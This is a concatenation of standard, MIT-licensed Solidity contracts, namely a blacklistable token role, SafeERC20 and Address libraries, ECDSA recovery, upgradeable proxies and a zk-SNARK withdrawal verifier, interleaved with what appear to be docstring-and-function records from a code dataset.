SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { Ownable } from "./Ownable.sol"; /** * @title Blacklistable Token * @dev Allows accounts to be blacklisted by a "blacklister" role */ contract Blacklistable is Ownable { address public blacklister; mapping(address => bool) internal blacklisted; event Blacklisted(address indexed _account); event UnBlacklisted(address indexed _account); event BlacklisterChanged(address indexed newBlacklister); /** * @dev Throws if called by any account other than the blacklister */ modifier onlyBlacklister() { require( msg.sender == blacklister, "Blacklistable: caller is not the blacklister" ); _; } /** * @dev Throws if argument account is blacklisted * @param _account The address to check */ modifier notBlacklisted(address _account) { require( !blacklisted[_account], "Blacklistable: account is blacklisted" ); _; } /** * @dev Checks if account is blacklisted * @param _account The address to check */ function isBlacklisted(address _account) external view returns (bool) { return blacklisted[_account]; } /** * @dev Adds account to blacklist * @param _account The address to blacklist */ function blacklist(address _account) external onlyBlacklister { blacklisted[_account] = true; emit Blacklisted(_account); } /** * @dev Removes account from blacklist * @param _account The address to remove from the blacklist */ function unBlacklist(address _account) external onlyBlacklister { blacklisted[_account] = false; emit UnBlacklisted(_account); } function updateBlacklister(address _newBlacklister) external onlyOwner { require( _newBlacklister != address(0), "Blacklistable: new blacklister is the zero address" ); blacklister = _newBlacklister; emit BlacklisterChanged(blacklister); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2016-2019 zOS Global Limited * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; /** * @title ECRecover * @notice A library that provides a safe ECDSA recovery function */ library ECRecover { /** * @notice Recover signer's address from a signed message * @dev Adapted from: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/65e4ffde586ec89af3b7e9140bdc9235d1254853/contracts/cryptography/ECDSA.sol * Modifications: Accept v, r, and s as separate arguments * @param digest Keccak-256 hash digest of the signed message * @param v v of the signature * @param r r of the signature * @param s s of the signature * @return Signer address */ function recover( bytes32 digest, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if ( uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0 ) { revert("ECRecover: invalid signature 's' value"); } if (v != 27 && v != 28) { revert("ECRecover: invalid signature 'v' value"); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(digest, v, r, s); require(signer != address(0), "ECRecover: invalid signature"); return signer; } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018 zOS Global Limited. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { UpgradeabilityProxy } from "./UpgradeabilityProxy.sol"; /** * @notice This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * @dev Forked from https://github.com/zeppelinos/zos-lib/blob/8a16ef3ad17ec7430e3a9d2b5e3f39b8204f8c8d/contracts/upgradeability/AdminUpgradeabilityProxy.sol * Modifications: * 1. Reformat, conform to Solidity 0.6 syntax, and add error messages (5/13/20) * 2. Remove ifAdmin modifier from admin() and implementation() (5/13/20) */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "org.zeppelinos.proxy.admin", and is * validated in the constructor. */ bytes32 private constant ADMIN_SLOT = 0x10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @dev Contract constructor. * It sets the `msg.sender` as the proxy administrator. * @param implementationContract address of the initial implementation. */ constructor(address implementationContract) public UpgradeabilityProxy(implementationContract) { assert(ADMIN_SLOT == keccak256("org.zeppelinos.proxy.admin")); _setAdmin(msg.sender); } /** * @return The address of the proxy admin. */ function admin() external view returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external view returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require( newAdmin != address(0), "Cannot change the admin of a proxy to the zero address" ); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be * called, as described in * https://solidity.readthedocs.io/en/develop/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); // prettier-ignore // solhint-disable-next-line avoid-low-level-calls (bool success,) = address(this).call{value: msg.value}(data); // solhint-disable-next-line reason-string require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override { require( msg.sender != _admin(), "Cannot call fallback function from the proxy admin" ); super._willFallback(); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018 zOS Global Limited. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { Proxy } from "./Proxy.sol"; import { Address } from "@openzeppelin/contracts/utils/Address.sol"; /** * @notice This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. * @dev Forked from https://github.com/zeppelinos/zos-lib/blob/8a16ef3ad17ec7430e3a9d2b5e3f39b8204f8c8d/contracts/upgradeability/UpgradeabilityProxy.sol * Modifications: * 1. Reformat, conform to Solidity 0.6 syntax, and add error messages (5/13/20) * 2. Use Address utility library from the latest OpenZeppelin (5/13/20) */ contract UpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "org.zeppelinos.proxy.implementation", and is * validated in the constructor. */ bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3; /** * @dev Contract constructor. * @param implementationContract Address of the initial implementation. */ constructor(address implementationContract) public { assert( IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation") ); _setImplementation(implementationContract); } /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) private { require( Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address" ); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018 zOS Global Limited. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; /** * @notice Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. * @dev Forked from https://github.com/zeppelinos/zos-lib/blob/8a16ef3ad17ec7430e3a9d2b5e3f39b8204f8c8d/contracts/upgradeability/Proxy.sol * Modifications: * 1. Reformat and conform to Solidity 0.6 syntax (5/13/20) */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback() external payable { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall( gas(), implementation, 0, calldatasize(), 0, 0 ) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual {} /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } }
Internal function to process transfers from Payer's address to Payee's address value Transfer amount/
function _transfer( address from, address to, uint256 value ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require( value <= balances[from], "ERC20: transfer amount exceeds balance" ); balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); emit Transfer(from, to, value); }
44,714
pragma solidity ^0.5.0; // // Copyright 2017 Christian Reitwiessner // Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // // 2019 OKIMS // ported to solidity 0.5 // fixed linter warnings // added requiere error messages // library Pairing { struct G1Point { uint256 X; uint256 Y; } // Encoding of field elements is: X[0] * z + X[1] struct G2Point { uint256[2] X; uint256[2] Y; } /// @return the generator of G1 function P1() internal pure returns (G1Point memory) { return G1Point(1, 2); } /// @return the generator of G2 function P2() internal pure returns (G2Point memory) { // Original code point return G2Point( [ 11559732032986387107991004021392285783925812861821192530917403151452391805634, 10857046999023057135944570762232829481370756359578518086990519993285655852781 ], [ 4082367875863433681332203403145435568316851327593401208105741076214120093531, 8495653923123431417604973247489272438418190587263600148770280649306958101930 ] ); /* // Changed by Jordi point return G2Point( [10857046999023057135944570762232829481370756359578518086990519993285655852781, 11559732032986387107991004021392285783925812861821192530917403151452391805634], [8495653923123431417604973247489272438418190587263600148770280649306958101930, 4082367875863433681332203403145435568316851327593401208105741076214120093531] ); */ } /// @return the negation of p, i.e. p.addition(p.negate()) should be zero. function negate(G1Point memory p) internal pure returns (G1Point memory) { // The prime q in the base field F_q for G1 uint256 q = 21888242871839275222246405745257275088696311157297823662689037894645226208583; if (p.X == 0 && p.Y == 0) return G1Point(0, 0); return G1Point(p.X, q - (p.Y % q)); } /// @return the sum of two points of G1 function addition(G1Point memory p1, G1Point memory p2) internal view returns (G1Point memory r) { uint256[4] memory input; input[0] = p1.X; input[1] = p1.Y; input[2] = p2.X; input[3] = p2.Y; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas, 2000), 6, input, 0xc0, r, 0x60) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require(success, "pairing-add-failed"); } /// @return the product of a point on G1 and a scalar, i.e. /// p == p.scalar_mul(1) and p.addition(p) == p.scalar_mul(2) for all points p. function scalar_mul(G1Point memory p, uint256 s) internal view returns (G1Point memory r) { uint256[3] memory input; input[0] = p.X; input[1] = p.Y; input[2] = s; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas, 2000), 7, input, 0x80, r, 0x60) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require(success, "pairing-mul-failed"); } /// @return the result of computing the pairing check /// e(p1[0], p2[0]) * .... * e(p1[n], p2[n]) == 1 /// For example pairing([P1(), P1().negate()], [P2(), P2()]) should /// return true. function pairing(G1Point[] memory p1, G2Point[] memory p2) internal view returns (bool) { require(p1.length == p2.length, "pairing-lengths-failed"); uint256 elements = p1.length; uint256 inputSize = elements * 6; uint256[] memory input = new uint256[](inputSize); for (uint256 i = 0; i < elements; i++) { input[i * 6 + 0] = p1[i].X; input[i * 6 + 1] = p1[i].Y; input[i * 6 + 2] = p2[i].X[0]; input[i * 6 + 3] = p2[i].X[1]; input[i * 6 + 4] = p2[i].Y[0]; input[i * 6 + 5] = p2[i].Y[1]; } uint256[1] memory out; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall( sub(gas, 2000), 8, add(input, 0x20), mul(inputSize, 0x20), out, 0x20 ) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require(success, "pairing-opcode-failed"); return out[0] != 0; } /// Convenience method for a pairing check for two pairs. function pairingProd2( G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2 ) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](2); G2Point[] memory p2 = new G2Point[](2); p1[0] = a1; p1[1] = b1; p2[0] = a2; p2[1] = b2; return pairing(p1, p2); } /// Convenience method for a pairing check for three pairs. function pairingProd3( G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2, G1Point memory c1, G2Point memory c2 ) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](3); G2Point[] memory p2 = new G2Point[](3); p1[0] = a1; p1[1] = b1; p1[2] = c1; p2[0] = a2; p2[1] = b2; p2[2] = c2; return pairing(p1, p2); } /// Convenience method for a pairing check for four pairs. function pairingProd4( G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2, G1Point memory c1, G2Point memory c2, G1Point memory d1, G2Point memory d2 ) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](4); G2Point[] memory p2 = new G2Point[](4); p1[0] = a1; p1[1] = b1; p1[2] = c1; p1[3] = d1; p2[0] = a2; p2[1] = b2; p2[2] = c2; p2[3] = d2; return pairing(p1, p2); } } contract withdrawVerifier { using Pairing for *; struct VerifyingKey { Pairing.G1Point alfa1; Pairing.G2Point beta2; Pairing.G2Point gamma2; Pairing.G2Point delta2; Pairing.G1Point[] IC; } struct Proof { Pairing.G1Point A; Pairing.G2Point B; Pairing.G1Point C; } function verifyingKey() internal pure returns (VerifyingKey memory vk) { vk.alfa1 = Pairing.G1Point( 16954158942519728638790634699427502617277811890854188736964569712256402108874, 4853887341475411689162752814686977828753659238758624904436464399911233181789 ); vk.beta2 = Pairing.G2Point( [ 3553796587147707868221401440330653878464553447974048256338484083403880871279, 10881436069977331413254194381426315885919138028604310586524088533501358955109 ], [ 554219737543102952744483611874143077462185705309891806989145488801073306271, 9409363920473337588801036819699444134753219954517443484334340645716975900537 ] ); vk.gamma2 = Pairing.G2Point( [ 15835396745809302047857962237408016564677757264735411961895464204275479520101, 4816274361064561217008158949208603992562463552030076130951138882879237876002 ], [ 2657349449553812953795906111583580858867466816674108494349782884813347200025, 10043126501350062935275553474943176726930010914443447816353590070970104772515 ] ); vk.delta2 = Pairing.G2Point( [ 7283580813474622247301806821610231208877772213155618212591703595233267096250, 11707105533135571906914329788444133953060232994662578417597467150398664744282 ], [ 11385749369626680203331401051634580287991672919300551086583617479169513319496, 9611313099024018606232043820986775911468148051140788277551879224697364709191 ] ); vk.IC = new Pairing.G1Point[](8); vk.IC[0] = Pairing.G1Point( 12912565231570889910296955037854848460681054044597840719031679724966236302695, 1618290591174934914130771757973446200900756859557159243491129510642659761181 ); vk.IC[1] = Pairing.G1Point( 14778611837533504514462554570414181360183580929421850888807508102557719724615, 18010365132546690092942406451855070395143860207861052154579931039970828688716 ); vk.IC[2] = Pairing.G1Point( 21842787128839192035269608458300323973858943522443094029988883807219296675218, 12504530341877947596737738199189848566124046550837184854102649615969596397710 ); vk.IC[3] = Pairing.G1Point( 6702350553342235510040006320179244922766468286016493815181054142373284636503, 486510446745553771235793685582506026986002715740751589906965686550863923665 ); vk.IC[4] = Pairing.G1Point( 18295456844681697070812504315172403847139068061461697796154812408892341354744, 8586956606144774575262691355503600322190462693290841310821014264086165739962 ); vk.IC[5] = Pairing.G1Point( 583165178558506337090803701407321068723888683963870553226798646114777438216, 16564448870558779800710568686173987093691200356730792766741354916477305724325 ); vk.IC[6] = Pairing.G1Point( 16894163527567693999351074375562429490067504929935444794046770610649488194723, 6179936640197458957487209685456022255962630517225960304292326023613578579249 ); vk.IC[7] = Pairing.G1Point( 2216753407676926432149475364826467911082264085961142066747165279038767234108, 5023177841759340865723216108966485654591090628700583521267084598058245799942 ); } function verify(uint256[] memory input, Proof memory proof) internal view returns (uint256) { uint256 snark_scalar_field = 21888242871839275222246405745257275088548364400416034343698204186575808495617; VerifyingKey memory vk = verifyingKey(); require(input.length + 1 == vk.IC.length, "verifier-bad-input"); // Compute the linear combination vk_x Pairing.G1Point memory vk_x = Pairing.G1Point(0, 0); for (uint256 i = 0; i < input.length; i++) { require( input[i] < snark_scalar_field, "verifier-gte-snark-scalar-field" ); vk_x = Pairing.addition( vk_x, Pairing.scalar_mul(vk.IC[i + 1], input[i]) ); } vk_x = Pairing.addition(vk_x, vk.IC[0]); if ( !Pairing.pairingProd4( Pairing.negate(proof.A), proof.B, vk.alfa1, vk.beta2, vk_x, vk.gamma2, proof.C, vk.delta2 ) ) return 1; return 0; } function verifyProof( uint256[2] memory a, uint256[2][2] memory b, uint256[2] memory c, uint256[7] memory input ) public view returns (bool r) { Proof memory proof; proof.A = Pairing.G1Point(a[0], a[1]); proof.B = Pairing.G2Point([b[0][0], b[0][1]], [b[1][0], b[1][1]]); proof.C = Pairing.G1Point(c[0], c[1]); uint256[] memory inputValues = new uint256[](input.length); for (uint256 i = 0; i < input.length; i++) { inputValues[i] = input[i]; } if (verify(inputValues, proof) == 0) { return true; } else { return false; } } function verifyProof(bytes calldata proof, uint256[7] calldata inputs) external view returns (bool r) { // solidity does not support decoding uint[2][2] yet ( uint256[2] memory a, uint256[2] memory b1, uint256[2] memory b2, uint256[2] memory c ) = abi.decode(proof, (uint256[2], uint256[2], uint256[2], uint256[2])); return verifyProof(a, [b1, b2], c, inputs); } }
return the generator of G1
function P1() internal pure returns (G1Point memory) { return G1Point(1, 2); }
26,944
